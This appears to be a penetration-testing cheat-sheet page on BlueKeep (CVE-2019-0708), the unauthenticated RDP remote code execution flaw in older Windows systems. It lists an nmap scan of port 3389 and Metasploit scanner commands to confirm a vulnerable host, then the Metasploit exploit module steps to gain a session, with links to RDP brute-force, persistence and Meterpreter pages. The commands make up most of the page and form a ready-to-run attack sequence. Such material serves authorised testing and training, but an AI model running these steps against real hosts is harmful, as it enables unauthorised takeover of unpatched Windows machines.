BlueKeep (CVE-2019-0708): RDP unauthenticated RCE

BlueKeep exploits a vulnerability in the Windows RDP service that allows kernel-level memory manipulation and unauthenticated remote code execution.

Vulnerable targets: Windows XP, Vista, 7, Server 2008, Server 2008 R2.

Confirm the target is vulnerable

nmap -sV -p 3389 <target_ip>

use auxiliary/scanner/rdp/cve_2019_0708_bluekeep
set RHOSTS <target_ip>
run

Exploit

use exploit/windows/rdp/cve_2019_0708_bluekeep_rce
set RHOSTS <target_ip>
show targets
set target <id>
run

Related

• RDP exploitation: brute-force and persistence paths against RDP, including this same BlueKeep check
• RDP enumeration: confirm RDP is reachable before testing for BlueKeep
• Metasploit Framework: console basics used throughout this exploit
• Meterpreter essentials: commands for the session once you land one